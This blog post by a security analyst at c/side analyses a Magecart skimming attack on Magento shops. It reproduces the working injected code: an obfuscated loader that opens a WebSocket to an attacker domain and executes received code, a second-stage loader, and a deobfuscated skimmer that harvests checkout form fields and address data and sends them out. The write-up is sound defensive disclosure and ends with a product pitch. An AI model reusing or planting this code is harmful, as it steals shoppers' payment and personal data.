Linkedin Tag

Back to blog

New Magecart attack code revealed

Wednesday, October 23rd, 2024

Updated November 1st, 2024
Himanshu Anand's profile picture

Himanshu Anand

Security Analyst

On October 14th, we posted an article on how another Magento Magecart attack was taking place. Then we only noticed one script as the culprit.

Today, we were able to find and analyze the attack in more detail.

The attack decoded

This was the injected code:

<script> 
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42; 
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()}); 
</script>

Upon decoding this obfuscated script, we discovered that it establishes a WebSocket connection to the following URL: `wss://gstatlc[.]org/jivo?source=`.

We then suspected the attack likely intended for web skimming purposes, i.e., stealing customer data such as credit card information.

Now we found the following script:

! function() {
    function e(e) {
        let t = "";
        for (let n = 0; n < e.length; n += 2) {
            let o = e.slice(n, n + 2),
                c = parseInt(o, 16);
            t += String.fromCharCode(c)
        }
        return t
    }
    if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
        const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
            n = "x-magento-65dsf";
        t.onmessage = function(t) {
            ! function(t) {
                if (!document.querySelector("#" + n)) {
                    const o = document.createElement("script");
                    o.id = n, o.text = e(t), document.head.appendChild(o)
                }
            }(t.data)
        }
    }
}();

This leads to obfuscated code, which our platform c/side automatically deobfuscates. We found various functions meant to capture data.

// Function to decode the selectors
    function decodeSelectors() {
        let decoded = hexDecode(encodedSelectors);
        let selectorArray = decoded.split('|');
        return selectorArray;
    }
 // Function to check if specific elements are present on the page
    const checkElementsPresence = () => {
        let selectors = decodeSelectors();
        return selectors.every(selectorEntry => {
            let [selector, count] = selectorEntry.split(':');
            let elements = document.querySelectorAll(selector);
            return elements.length >= Number(count);
        });
    };
  // Function to generate a unique identifier
    const generateUUID = () => {
        return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
            (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
        );
    };
// Function to encode data as hex
    function hexEncode(str) {
        return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
    }
 // Function to collect form data
    const collectFormData = (context) => {
        let data = {};
        let counts = {};
        let inputs = context.querySelectorAll('input, select, textarea');

        for (let i = 0; i < inputs.length; ++i) {
            let element = inputs[i];
            let name = element.name || element.id;
            let value = element.value;

            if (value !== '' && name) {
                if (!counts[name]) counts[name] = 0;

                if (element.tagName !== 'SELECT') {
                    counts[name] === 0
                        ? data[name] = value
                        : data[`${name}#${counts[name]}`] = value;
                } else {
                    let selectedOption = element.options[element.selectedIndex].text;
                    counts[name] === 0
                        ? data[name] = selectedOption
                        : data[`${name}#${counts[name]}`] = selectedOption;
                }

                counts[name]++;
            }
        }

        data['url'] = window.location.hostname;
        data['ua'] = window.navigator.userAgent;
        data['ts'] = Date.now();
 // Attempt to collect customer address data if available
        if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
            try {
                let addresses = window.checkoutConfig.customerData.addresses;
                data['address_data'] = addresses[Object.keys(addresses)[0]];
            } catch (e) { /* Ignore errors */ }
        }

        return hexEncode(JSON.stringify(data));
    };
  // Interval to repeatedly check and send data
    let intervalId = setInterval(() => {
        if (checkElementsPresence()) {
            let formData = collectFormData(document.body);
            const uuid = generateUUID();
            const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
            const ws = new WebSocket(webSocketURL);

            ws.addEventListener('open', function () {
                ws.send(formData);
                ws.close(1000, 'done');
                clearInterval(intervalId);
            });
        }
    }, 1000);
})();

In there was another malicious domain: wss://adsprove[.]online/ws.

All these function now prove that the script is indeed targeting various inputs from unsuspecting visitors. It also proves that monitoring and blocking these attempts from the client-side is vital to spot and stop these attacks.

How to protect your site

c/side was founded to stop these attacks. Any 3rd party scripts present on your site that are compromised, we can detect and block before they execute in the browser of your visitors. Protecting them, and you, from malicious actors. 

By using c/side’s free tier, you are safe from this and other similar attacks.

Himanshu Anand's profile picture

More About Himanshu

I'm a software engineer and security analyst at c/side.